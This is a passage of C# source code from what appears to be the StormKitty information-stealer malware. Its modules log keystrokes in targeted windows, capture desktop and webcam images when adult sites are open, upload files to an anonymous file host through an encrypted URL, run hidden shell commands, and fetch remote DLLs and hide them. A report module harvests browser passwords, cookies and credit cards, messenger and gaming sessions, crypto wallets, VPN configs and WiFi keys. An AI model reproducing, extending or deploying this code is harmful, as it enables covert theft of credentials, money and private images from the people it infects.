19 | if (Detect())
20 | {
21 | Keylogger.KeyLogs += "\n\n### " + WindowManager.ActiveWindow + " ### (" +
22 | DateTime.Now.ToString("yyyy-MM-dd h:mm:ss tt") + ")\n";
23 | DesktopScreenshot.Make(KeyloggerDirectory);
24 | Keylogger.KeyloggerEnabled = true;
25 | } else {
26 | SendKeyLogs();
27 | Keylogger.KeyloggerEnabled = false;
28 | }
29 | }
30 |
31 | // Detect target data in active window
32 | private static bool Detect()
33 | {
34 | foreach (string text in Config.KeyloggerServices)
35 | if (WindowManager.ActiveWindow.ToLower().Contains(text))
36 | return true;
37 |
38 | return false;
39 | }
40 |
41 | // Save logs
42 | private static void SendKeyLogs()
43 | {
44 | if (Keylogger.KeyLogs.Length < 45 ||
45 | string.IsNullOrWhiteSpace(Keylogger.KeyLogs))
46 | return;
47 |
48 | string logfile = KeyloggerDirectory + "\\" + DateTime.Now.ToString("hh.mm.ss") + ".txt";
49 | if (!Directory.Exists(KeyloggerDirectory))
50 | Directory.CreateDirectory(KeyloggerDirectory);
51 |
52 | File.WriteAllText(logfile, Keylogger.KeyLogs);
53 | Keylogger.KeyLogs = ""; // Clean logs
54 | }
55 |
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Keylogger/Keylogger.cs:
--------------------------------------------------------------------------------
1 | using StormKitty;
2 | using System;
3 | using System.Text;
4 | using System.Threading;
5 | using System.Diagnostics;
6 | using System.Windows.Forms;
7 | using System.Runtime.InteropServices;
8 |
9 | namespace Keylogger
10 | {
11 | internal sealed class Keylogger
12 | {
13 | private const int WM_KEYDOWN = 0x0100;
14 | private const int WHKEYBOARDLL = 13;
15 | private static IntPtr _hookID = IntPtr.Zero;
16 | private static LowLevelKeyboardProc _proc = HookCallback;
17 | public static bool KeyloggerEnabled = false;
18 | public static string KeyLogs = "";
19 | private static string PrevActiveWindowTitle;
20 | public static Thread MainThread = new Thread(StartKeylogger);
21 |
22 | [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
23 | private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
24 | [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
25 | [return: MarshalAs(UnmanagedType.Bool)]
26 | private static extern bool UnhookWindowsHookEx(IntPtr hhk);
27 | [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
28 | private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
29 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
30 | private static extern IntPtr GetModuleHandle(string lpModuleName);
31 | private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
32 | [DllImport("user32.dll", SetLastError = true)]
33 | static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
34 | [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
35 | private static extern short GetKeyState(int keyCode);
36 | [DllImport("user32.dll", SetLastError = true)]
37 | [return: MarshalAs(UnmanagedType.Bool)]
38 | private static extern bool GetKeyboardState(byte[] lpKeyState);
39 | [DllImport("user32.dll")]
40 | private static extern IntPtr GetKeyboardLayout(uint idThread);
41 | [DllImport("user32.dll")]
42 | private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
43 | [DllImport("user32.dll")]
44 | private static extern uint MapVirtualKey(uint uCode, uint uMapType);
45 |
46 |
47 | private static void StartKeylogger()
48 | {
49 | _hookID = SetHook(_proc);
50 | Application.Run();
51 | }
52 |
53 | private static IntPtr SetHook(LowLevelKeyboardProc proc)
54 | {
55 | using (Process curProcess = Process.GetCurrentProcess())
56 | return SetWindowsHookEx(WHKEYBOARDLL, proc, GetModuleHandle(curProcess.ProcessName), 0);
57 | }
58 |
59 | private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
60 | {
61 | if (!KeyloggerEnabled)
62 | return IntPtr.Zero;
63 |
64 | if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
65 | {
66 | int vkCode = Marshal.ReadInt32(lParam);
67 | bool capsLock = (GetKeyState(0x14) & 0xffff) != 0;
68 | bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;
69 | string currentKey = KeyboardLayout((uint)vkCode);
70 |
71 | if (capsLock || shiftPress)
72 | currentKey = currentKey.ToUpper();
73 | else
74 | currentKey = currentKey.ToLower();
75 |
76 |
77 | if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)
78 | currentKey = "[" + (Keys)vkCode + "]";
79 |
80 | else
81 | {
82 | switch (((Keys)vkCode).ToString())
83 | {
84 | case "Space":
85 | currentKey = " ";
86 | break;
87 | case "Return":
88 | currentKey = "[ENTER]";
89 | break;
90 | case "Escape":
91 | currentKey = "[ESC]";
92 | break;
93 | case "LControlKey":
94 | currentKey = "[CTRL]";
95 | break;
96 | case "RControlKey":
97 | currentKey = "[CTRL]";
98 | break;
99 | case "RShiftKey":
100 | currentKey = "[Shift]";
101 | break;
102 | case "LShiftKey":
103 | currentKey = "[Shift]";
104 | break;
105 | case "Back":
106 | currentKey = "[Back]";
107 | break;
108 | case "LWin":
109 | currentKey = "[WIN]";
110 | break;
111 | case "Tab":
112 | currentKey = "[Tab]";
113 | break;
114 | case "Capital":
115 | if (capsLock == true)
116 | currentKey = "[CAPSLOCK: OFF]";
117 | else
118 | currentKey = "[CAPSLOCK: ON]";
119 | break;
120 | }
121 | }
122 |
123 | // If enter
124 | if (currentKey.Equals("[ENTER]"))
125 | {
126 | if (PrevActiveWindowTitle == WindowManager.ActiveWindow)
127 | KeyLogs += Environment.NewLine;
128 | else
129 | {
130 | PrevActiveWindowTitle = WindowManager.ActiveWindow;
131 | KeyLogs += $"\n### {PrevActiveWindowTitle} ###\n";
132 | }
133 | }
134 | // If backspace
135 | else if (currentKey.Equals("[Back]") && KeyLogs.Length > 0)
136 | KeyLogs = KeyLogs.Remove(KeyLogs.Length - 1, 1);
137 | // If key
138 | else
139 | KeyLogs += currentKey;
140 | }
141 | return CallNextHookEx(_hookID, nCode, wParam, lParam);
142 | }
143 |
144 | private static string KeyboardLayout(uint vkCode)
145 | {
146 | try
147 | {
148 | StringBuilder sb = new StringBuilder();
149 | byte[] vkBuffer = new byte[256];
150 | if (!GetKeyboardState(vkBuffer)) return "";
151 | uint scanCode = MapVirtualKey(vkCode, 0);
152 | IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(WindowManager.GetForegroundWindow(), out uint processId));
153 | ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout);
154 | return sb.ToString();
155 | }
156 | catch { }
157 | return ((Keys)vkCode).ToString();
158 | }
159 |
160 | }
161 | }
162 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Keylogger/PornDetection.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using Stealer;
4 | using StormKitty;
5 |
6 | namespace Keylogger
7 | {
8 | internal sealed class PornDetection
9 | {
10 | private static string LogDirectory = Path.Combine(
11 | Paths.InitWorkDir(), "logs\\nsfw\\" +
12 | DateTime.Now.ToString("yyyy-MM-dd"));
13 |
14 | // Send desktop and webcam screenshot if active window contains target values
15 | public static void Action()
16 | {
17 | if (Detect()) SendPhotos();
18 | }
19 |
20 | // Detect target data in active window
21 | private static bool Detect()
22 | {
23 | foreach (string text in Config.PornServices)
24 | if (WindowManager.ActiveWindow.ToLower().Contains(text))
25 | return true;
26 |
27 | return false;
28 | }
29 |
30 | // Save photos
31 | private static void SendPhotos()
32 | {
33 | string logdir = LogDirectory + "\\" + DateTime.Now.ToString("hh.mm.ss");
34 | if (!Directory.Exists(logdir))
35 | Directory.CreateDirectory(logdir);
36 |
37 | System.Threading.Thread.Sleep(3000);
38 | DesktopScreenshot.Make(logdir);
39 | System.Threading.Thread.Sleep(12000);
40 | if (Detect()) WebcamScreenshot.Make(logdir);
41 | }
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Manager/AnonFile.cs:
--------------------------------------------------------------------------------
1 | using StormKitty.Implant;
2 | using System;
3 | using System.Net;
4 | using System.Text;
5 |
6 | namespace StormKitty
7 | {
8 | internal sealed class AnonFile
9 | {
10 | public static string Upload(string file, bool api = false)
11 | {
12 | try
13 | {
14 | using (WebClient Client = new WebClient())
15 | {
16 | byte[] Response = Client.UploadFile(
17 | StringsCrypt.Decrypt(new byte[] { 1, 203, 201, 210, 147, 242, 36, 225, 66, 42, 36, 218, 27, 178, 235, 223, 170, 114, 211, 210, 237, 234, 99, 134, 41, 195, 235, 18, 139, 139, 53, 239, 207, 253, 34, 1, 192, 176, 118, 47, 164, 23, 131, 62, 62, 37, 108, 32, }) +
18 | (api ? StringsCrypt.AnonApiToken : ""), file);
19 | string ResponseBody = Encoding.ASCII.GetString(Response);
20 | if (!ResponseBody.Contains("\"error\": {"))
21 | return ResponseBody.Split('"')[15];
22 | else
23 | Console.WriteLine(ResponseBody);
24 | }
25 | }
26 | catch (Exception error)
27 | {
28 | Console.WriteLine(error);
29 | }
30 | return null;
31 | }
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Manager/ClipboardManager.cs:
--------------------------------------------------------------------------------
1 | using System.Threading;
2 |
3 | namespace StormKitty
4 | {
5 | internal sealed class ClipboardManager
6 | {
7 | // Current clipboard content
8 | public static string PrevClipboard = "";
9 | public static string ClipboardText;
10 | public static Thread MainThread = new Thread(Run);
11 |
12 | // Run clipboard checker
13 | private static void Run()
14 | {
15 | while (true)
16 | {
17 | Thread.Sleep(2000);
18 | ClipboardText = Clipper.Clipboard.GetText();
19 | if (ClipboardText != PrevClipboard)
20 | {
21 | PrevClipboard = ClipboardText;
22 | Clipper.EventManager.Action();
23 | }
24 | }
25 | }
26 |
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Manager/CommandHelper.cs:
--------------------------------------------------------------------------------
1 | using System.Diagnostics;
2 |
3 | namespace StormKitty
4 | {
5 | internal sealed class CommandHelper
6 | {
7 | public static string Run(string cmd, bool wait = true)
8 | {
9 | string output = "";
10 | using (var process = new Process())
11 | {
12 | process.StartInfo = new ProcessStartInfo
13 | {
14 | UseShellExecute = false,
15 | CreateNoWindow = true,
16 | WindowStyle = ProcessWindowStyle.Hidden,
17 | FileName = "cmd.exe",
18 | Arguments = cmd,
19 | RedirectStandardError = true,
20 | RedirectStandardOutput = true
21 | };
22 | process.Start();
23 | output = process.StandardOutput.ReadToEnd();
24 | if (wait) process.WaitForExit();
25 | }
26 | return output;
27 | }
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Manager/Filemanager.cs:
--------------------------------------------------------------------------------
1 | using Ionic.Zip;
2 | using System;
3 | using System.IO;
4 | using System.Linq;
5 |
6 | namespace StormKitty
7 | {
8 | internal sealed class Filemanager
9 | {
10 | public static void RecursiveDelete(string path)
11 | {
12 | var baseDir = new DirectoryInfo(path);
13 | if (!baseDir.Exists) return;
14 |
15 | foreach (var dir in baseDir.GetDirectories())
16 | RecursiveDelete(dir.FullName);
17 |
18 | baseDir.Delete(true);
19 | }
20 |
21 | public static void CopyDirectory(string sourceFolder, string destFolder)
22 | {
23 | try
24 | {
25 | if (!Directory.Exists(sourceFolder))
26 | throw new DirectoryNotFoundException($"Source directory not found: {sourceFolder}");
27 |
28 | Directory.CreateDirectory(destFolder);
29 |
30 | foreach (string file in Directory.GetFiles(sourceFolder))
31 | {
32 | string dest = Path.Combine(destFolder, Path.GetFileName(file));
33 | File.Copy(file, dest, true);
34 | }
35 |
36 | foreach (string dir in Directory.GetDirectories(sourceFolder))
37 | {
38 | string dest = Path.Combine(destFolder, Path.GetFileName(dir));
39 | CopyDirectory(dir, dest);
40 | }
41 | }
42 | catch (Exception ex)
43 | {
44 | Console.WriteLine($"[FileManager] : {ex.Message}");
45 | throw;
46 | }
47 | }
48 |
49 | public static long DirectorySize(string path)
50 | {
51 | try
52 | {
53 | return new DirectoryInfo(path)
54 | .GetFiles("*", SearchOption.AllDirectories)
55 | .Sum(fi => fi.Length);
56 | }
57 | catch
58 | {
59 | return -1;
60 | }
61 | }
62 |
63 | public static string CreateArchive(string directory)
64 | {
65 | try
66 | {
67 | if (!Directory.Exists(directory))
68 | throw new DirectoryNotFoundException($"Directory not found: {directory}");
69 |
70 | string zipPath = $"{directory}.zip";
71 |
72 | using (var zip = new ZipFile())
73 | {
74 | zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
75 | zip.AddDirectory(directory);
76 | zip.Save(zipPath);
77 | }
78 |
79 | return File.Exists(zipPath) ? zipPath : null;
80 | }
81 | catch (Exception ex)
82 | {
83 | Console.WriteLine($"Status: {ex.Message}");
84 | return null;
85 | }
86 | }
87 | }
88 | }
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Manager/LibLoader.cs:
--------------------------------------------------------------------------------
1 | using StormKitty.Implant;
2 | using System;
3 | using System.IO;
4 | using System.Net;
5 |
6 | namespace StormKitty
7 | {
8 | internal sealed class Libs
9 | {
10 |
11 | public static string ZipLib = "https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13.8/lib/net40/DotNetZip.dll";
12 | public static bool LoadRemoteLibrary(string library)
13 | {
14 | string dll = Path.Combine(Path.GetDirectoryName(Startup.ExecutablePath), Path.GetFileName(new Uri(library).LocalPath));
15 |
16 | if (!File.Exists(dll))
17 | {
18 | try
19 | {
20 | using (var client = new WebClient())
21 | client.DownloadFile(library, dll);
22 | }
23 | catch (WebException)
24 | {
25 | return false;
26 | }
27 |
28 | Startup.HideFile(dll);
29 | Startup.SetFileCreationDate(dll);
30 | }
31 | return File.Exists(dll);
32 | }
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Manager/WindowManager.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Threading;
3 | using System.Diagnostics;
4 | using System.Collections.Generic;
5 | using System.Runtime.InteropServices;
6 |
7 | namespace StormKitty
8 | {
9 | internal sealed class WindowManager
10 | {
11 | public static string ActiveWindow;
12 | public static Thread MainThread = new Thread(Run);
13 |
14 | [DllImport("user32.dll")]
15 | public static extern IntPtr GetForegroundWindow();
16 | [DllImport("user32.dll", SetLastError = true)]
17 | private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
18 |
19 | // Get active window
20 | private static string GetActiveWindowTitle()
21 | {
22 | try
23 | {
24 | IntPtr hwnd = GetForegroundWindow();
25 | GetWindowThreadProcessId(hwnd, out uint pid);
26 | Process proc = Process.GetProcessById((int)pid);
27 | string title = proc.MainWindowTitle;
28 | if (string.IsNullOrWhiteSpace(title))
29 | title = proc.ProcessName;
30 | return title;
31 | }
32 | catch (Exception)
33 | {
34 | return "Unknown";
35 | }
36 | }
37 |
38 | // List with functions to call when active window is changed
39 | private static List functions = new List()
40 | {
41 | Keylogger.EventManager.Action,
42 | Keylogger.PornDetection.Action
43 | };
44 | // Run title checker
45 | private static void Run()
46 | {
47 | Keylogger.Keylogger.MainThread.Start();
48 | string PrevActiveWindow = "";
49 | while (true)
50 | {
51 | Thread.Sleep(2000);
52 | ActiveWindow = GetActiveWindowTitle();
53 | if (ActiveWindow != PrevActiveWindow)
54 | {
55 | PrevActiveWindow = ActiveWindow;
56 | ClipboardManager.PrevClipboard = "";
57 | foreach (Action f in functions)
58 | f.Invoke();
59 | }
60 | }
61 | }
62 |
63 | }
64 | }
65 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Helpers/Banking.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 | using System.Text.RegularExpressions;
3 |
4 | namespace Stealer
5 | {
6 | internal sealed class Banking
7 | {
8 | // Add value to list
9 | private static bool AppendValue(string value, List domains)
10 | {
11 | string domain = value
12 | .Replace("www.", "").ToLower();
13 | // Remove search results
14 | if (
15 | domain.Contains("google") ||
16 | domain.Contains("bing") ||
17 | domain.Contains("yandex") ||
18 | domain.Contains("duckduckgo"))
19 | return false;
20 | // If cookie value
21 | if (domain
22 | .StartsWith("."))
23 | domain = domain.Substring(1);
24 | // Get hostname from url
25 | try {
26 | domain = new System.Uri(domain).Host;
27 | } catch (System.UriFormatException) { }
28 | // Remove .com, .org
29 | domain = System.IO.Path.GetFileNameWithoutExtension(domain);
30 | domain = domain.Replace(".com", "").Replace(".org", "");
31 | // Check if domain already exists in list
32 | foreach (string domainValue in domains)
33 | if (domain.ToLower().Replace(" ", "").Contains(domainValue.ToLower().Replace(" ", "")))
34 | return false;
35 | // Convert first char to upper-case
36 | domain = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(domain);
37 | domains.Add(domain);
38 | return true;
39 | }
40 |
41 | // Detect crypto currency services
42 | private static void DetectCryptocurrencyServices(string value)
43 | {
44 | foreach (string service in StormKitty.Config.CryptoServices)
45 | if (value.ToLower().Contains(service) && value.Length < 25)
46 | if (AppendValue(value, Counter.DetectedCryptoServices))
47 | { Counter.CryptoServices = true; return; }
48 | }
49 |
50 |
51 | // Detect banking services
52 | private static void DetectBankingServices(string value)
53 | {
54 | foreach (string service in StormKitty.Config.BankingServices)
55 | if (value.ToLower().Contains(service) && value.Length < 25)
56 | if (AppendValue(value, Counter.DetectedBankingServices))
57 | { Counter.BankingServices = true; return; }
58 | }
59 |
60 | // Detect porn services
61 | private static void DetectPornServices(string value)
62 | {
63 | foreach (string service in StormKitty.Config.PornServices)
64 | if (value.ToLower().Contains(service) && value.Length < 25)
65 | if (AppendValue(value, Counter.DetectedPornServices))
66 | { Counter.PornServices = true; return; }
67 | }
68 |
69 | // Detect all
70 | public static void ScanData(string value)
71 | {
72 | DetectBankingServices(value);
73 | DetectCryptocurrencyServices(value);
74 | DetectPornServices(value);
75 | }
76 |
77 |
78 | // Regex for credit cards types detection by number
79 | private static Dictionary CreditCardTypes = new Dictionary()
80 | {
81 | {"Amex Card", new Regex(@"^3[47][0-9]{13}$") },
82 | {"BCGlobal", new Regex(@"^(6541|6556)[0-9]{12}$") },
83 | {"Carte Blanche Card", new Regex(@"^389[0-9]{11}$") },
84 | {"Diners Club Card", new Regex(@"^3(?:0[0-5]|[68][0-9])[0-9]{11}$") },
85 | {"Discover Card", new Regex(@"6(?:011|5[0-9]{2})[0-9]{12}$") },
86 | {"Insta Payment Card", new Regex(@"^63[7-9][0-9]{13}$") },
87 | {"JCB Card", new Regex(@"^(?:2131|1800|35\\d{3})\\d{11}$") },
88 | {"KoreanLocalCard", new Regex(@"^9[0-9]{15}$") },
89 | {"Laser Card", new Regex(@"^(6304|6706|6709|6771)[0-9]{12,15}$") },
90 | {"Maestro Card", new Regex(@"^(5018|5020|5038|6304|6759|6761|6763)[0-9]{8,15}$") },
91 | {"Mastercard", new Regex(@"5[1-5][0-9]{14}$") },
92 | {"Solo Card", new Regex(@"^(6334|6767)[0-9]{12}|(6334|6767)[0-9]{14}|(6334|6767)[0-9]{15}$") },
93 | {"Switch Card", new Regex(@"^(4903|4905|4911|4936|6333|6759)[0-9]{12}|(4903|4905|4911|4936|6333|6759)[0-9]{14}|(4903|4905|4911|4936|6333|6759)[0-9]{15}|564182[0-9]{10}|564182[0-9]{12}|564182[0-9]{13}|633110[0-9]{10}|633110[0-9]{12}|633110[0-9]{13}$") },
94 | {"Union Pay Card", new Regex(@"^(62[0-9]{14,17})$") },
95 | {"Visa Card", new Regex(@"4[0-9]{12}(?:[0-9]{3})?$") },
96 | {"Visa Master Card", new Regex(@"^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14})$") },
97 | {"Express Card", new Regex(@"3[47][0-9]{13}$") },
98 | };
99 |
100 | // Detect credit cards type by number
101 | public static string DetectCreditCardType(string number)
102 | {
103 | foreach (KeyValuePair dictonary in CreditCardTypes)
104 | if (dictonary.Value.Match(number.Replace(" ", "")).Success)
105 | return dictonary.Key;
106 |
107 | return "Unknown";
108 | }
109 |
110 | }
111 | }
112 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Helpers/Common.cs:
--------------------------------------------------------------------------------
1 |
2 | namespace Stealer
3 | {
4 | public struct Password
5 | {
6 | public string sUrl { get; set; }
7 | public string sUsername { get; set; }
8 | public string sPassword { get; set; }
9 | }
10 |
11 | internal struct Cookie
12 | {
13 | public string sHostKey { get; set; }
14 | public string sName { get; set; }
15 | public string sPath { get; set; }
16 | public string sExpiresUtc { get; set; }
17 | public string sKey { get; set; }
18 | public string sValue { get; set; }
19 | public string sIsSecure { get; set; }
20 | }
21 |
22 | internal struct CreditCard
23 | {
24 | public string sNumber { get; set; }
25 | public string sExpYear { get; set; }
26 | public string sExpMonth { get; set; }
27 | public string sName { get; set; }
28 | }
29 |
30 | internal struct AutoFill
31 | {
32 | public string sName;
33 | public string sValue;
34 | }
35 |
36 | internal struct Site
37 | {
38 | public string sUrl { get; set; }
39 | public string sTitle { get; set; }
40 | public int iCount { get; set; }
41 | }
42 |
43 | internal struct Bookmark
44 | {
45 | public string sUrl { get; set; }
46 | public string sTitle { get; set; }
47 | }
48 |
49 | }
50 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Helpers/Counter.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 |
3 | namespace Stealer
4 | {
5 | internal sealed class Counter
6 | {
7 | // Browsers
8 | public static int Passwords = 0;
9 | public static int CreditCards = 0;
10 | public static int AutoFill = 0;
11 | public static int Cookies = 0;
12 | public static int History = 0;
13 | public static int Bookmarks = 0;
14 | public static int Downloads = 0;
15 | // Applications
16 | public static int VPN = 0;
17 | public static int Pidgin = 0;
18 | public static int Wallets = 0;
19 | public static int FTPHosts = 0;
20 | // Sessions, tokens
21 | public static bool Telegram = false;
22 | public static bool Steam = false;
23 | public static bool Uplay = false;
24 | public static bool Discord = false;
25 | // System data
26 | public static int SavedWifiNetworks = 0;
27 | public static bool ProductKey = false;
28 | public static bool DesktopScreenshot = false;
29 | public static bool WebcamScreenshot = false;
30 | // Grabber stats
31 | public static int GrabberDocuments = 0;
32 | public static int GrabberSourceCodes = 0;
33 | public static int GrabberDatabases = 0;
34 | public static int GrabberImages = 0;
35 | // Banking & Cryptocurrency services detection
36 | public static bool BankingServices = false;
37 | public static bool CryptoServices = false;
38 | public static bool PornServices = false;
39 | public static List DetectedBankingServices = new List();
40 | public static List DetectedCryptoServices = new List();
41 | public static List DetectedPornServices = new List();
42 |
43 | // Get string value
44 | public static string GetSValue(string application, bool value)
45 | {
46 | return value ? "\n ∟ " + application : "";
47 | }
48 |
49 | // Get integer value
50 | public static string GetIValue(string application, int value)
51 | {
52 | return value != 0 ? "\n ∟ " + application + ": " + value: "";
53 | }
54 |
55 | // Get list value
56 | public static string GetLValue(string application, List value, char separator = '∟')
57 | {
58 | value.Sort(); // Sort list items
59 | return value.Count != 0 ? "\n ∟ " + application + ":\n\t\t\t\t\t\t\t" + separator + " " +
60 | string.Join("\n\t\t\t\t\t\t\t" + separator + " ", value) : "\n ∟ " + application + " (No data)";
61 | }
62 |
63 | // Get boolean value
64 | public static string GetBValue(bool value, string success, string failed)
65 | {
66 | return value ? "\n ∟ " + success : "\n ∟ " + failed;
67 | }
68 |
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Helpers/Report.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Threading;
4 | using System.Collections.Generic;
5 |
6 | namespace Stealer
7 | {
8 | internal sealed class Report
9 | {
10 | public static bool CreateReport(string sSavePath)
11 | {
12 | // List with threads
13 | List Threads = new List();
14 |
15 | try
16 | {
17 | // Collect files
18 |
19 |
20 | // Chromium & Edge thread (credit cards, passwords, cookies, autofill, history, bookmarks)
21 | Threads.Add(new Thread(() =>
22 | {
23 | Chromium.Recovery.Run(sSavePath + "\\Browsers");
24 | Edge.Recovery.Run(sSavePath + "\\Browsers");
25 | }));
26 | // Firefox thread (logins.json, db files, cookies, history, bookmarks)
27 | Threads.Add(new Thread(() =>
28 | Firefox.Recovery.Run(sSavePath + "\\Browsers")
29 | ));
30 | // Internet explorer thread (logins)
31 | Threads.Add(new Thread(() => {
32 | try
33 | {
34 | InternetExplorer.Recovery.Run(sSavePath + "\\Browsers");
35 | }
36 | catch { }
37 | }));
38 |
39 | // Write discord tokens
40 | Threads.Add(new Thread(() =>
41 | Discord.WriteDiscord(
42 | Discord.GetTokens(),
43 | sSavePath + "\\Messenger\\Discord")
44 | ));
45 |
46 | // Write pidgin accounts
47 | Threads.Add(new Thread(() =>
48 | Pidgin.GetAccounts(sSavePath + "\\Messenger\\Pidgin")
49 | ));
50 |
51 | // Write telegram session
52 | Threads.Add(new Thread(() =>
53 | Telegram.GetTelegramSessions(sSavePath + "\\Messenger\\Telegram")
54 | ));
55 |
56 | // Steam & Uplay sessions collection
57 | Threads.Add(new Thread(() =>
58 | {
59 | // Write steam session
60 | Steam.GetSteamSession(sSavePath + "\\Gaming\\Steam");
61 | // Write uplay session
62 | Uplay.GetUplaySession(sSavePath + "\\Gaming\\Uplay");
63 | }));
64 |
65 | // Minecraft collection
66 | Threads.Add(new Thread(() =>
67 | Minecraft.SaveAll(sSavePath + "\\Gaming\\Minecraft")
68 | ));
69 |
70 | // Write wallets
71 | Threads.Add(new Thread(() =>
72 | Wallets.GetWallets(sSavePath + "\\Wallets")
73 | ));
74 |
75 | // Write FileZilla
76 | Threads.Add(new Thread(() =>
77 | FileZilla.WritePasswords(FileZilla.Steal(), sSavePath + "\\FileZilla")
78 | ));
79 |
80 | // Write VPNs
81 | Threads.Add(new Thread(() =>
82 | {
83 | ProtonVPN.Save(sSavePath + "\\VPN\\ProtonVPN");
84 | OpenVPN.Save(sSavePath + "\\VPN\\OpenVPN");
85 | NordVPN.Save(sSavePath + "\\VPN\\NordVPN");
86 | }));
87 |
88 | // Get directories list
89 | Threads.Add(new Thread(() =>
90 | {
91 | Directory.CreateDirectory(sSavePath + "\\Directories");
92 | DirectoryTree.SaveDirectories(sSavePath + "\\Directories");
93 | }));
94 |
95 | // Create directory to save system information
96 | Directory.CreateDirectory(sSavePath + "\\System");
97 |
98 | // Process list & active windows list
99 | Threads.Add(new Thread(() =>
100 | {
101 | // Write process list
102 | ProcessList.WriteProcesses(sSavePath + "\\System");
103 | // Write active windows titles
104 | ActiveWindows.WriteWindows(sSavePath + "\\System");
105 | }));
106 |
107 | // Desktop & Webcam screenshot
108 | Thread dwThread = new Thread(() =>
109 | {
110 | // Create dekstop screenshot
111 | DesktopScreenshot.Make(sSavePath + "\\System");
112 | // Create webcam screenshot
113 | WebcamScreenshot.Make(sSavePath + "\\System");
114 | });
115 | dwThread.SetApartmentState(ApartmentState.STA);
116 | Threads.Add(dwThread);
117 |
118 | // Saved wifi passwords
119 | Threads.Add(new Thread(() =>
120 | {
121 | // Fetch WiFi passwords
122 | Wifi.SavedNetworks(sSavePath + "\\System");
123 | // Fetch all WiFi networks with BSSID
124 | Wifi.ScanningNetworks(sSavePath + "\\System");
125 | }
126 | ));;
127 | // Windows product key
128 | Threads.Add(new Thread(() =>
129 | // Write product key
130 | File.WriteAllText(sSavePath + "\\System\\ProductKey.txt",
131 | ProductKey.GetWindowsProductKeyFromRegistry())
132 | ));
133 |
134 | // Start all threads
135 | foreach (Thread t in Threads)
136 | t.Start();
137 |
138 | // Wait all threads
139 | foreach (Thread t in Threads)
140 | t.Join();
141 |
142 | return true;
143 | }
144 | catch (Exception ex) {
145 | Console.WriteLine(ex);
146 | return false;
147 | }
148 | }
149 | }
150 | }
151 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Helpers/SqlReader.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 |
3 | namespace Stealer
4 | {
5 | internal sealed class SqlReader
6 | {
7 | public static SQLite ReadTable(string database, string table)
8 | {
9 | // If database not exists
10 | if (!File.Exists(database))
11 | return null;
12 | // Copy temp database
13 | string NewPath = Path.GetTempFileName() + ".dat";
14 | File.Copy(database, NewPath);
15 | // Read table rows
16 | SQLite SQLiteConnection = new SQLite(NewPath);
17 | SQLiteConnection.ReadTable(table);
18 | // Delete temp database
19 | File.Delete(NewPath);
20 | // If database corrupted
21 | if (SQLiteConnection.GetRowCount() == 65536)
22 | return null;
23 | // Return
24 | return SQLiteConnection;
25 | }
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Stealer.cs:
--------------------------------------------------------------------------------
1 | using StormKitty;
2 | using System;
3 | using System.IO;
4 |
5 | namespace Stealer
6 | {
7 | internal sealed class Passwords
8 | {
9 | // Stealer modules
10 | private static string PasswordsStoreDirectory = Path.Combine(
11 | Paths.InitWorkDir(),
12 | SystemInfo.username + "@" + SystemInfo.compname + "_" + SystemInfo.culture);
13 |
14 | // Steal data & send report
15 | public static string Save()
16 | {
17 | Console.WriteLine("Running passwords recovery...");
18 | if (!Directory.Exists(PasswordsStoreDirectory)) Directory.CreateDirectory(PasswordsStoreDirectory);
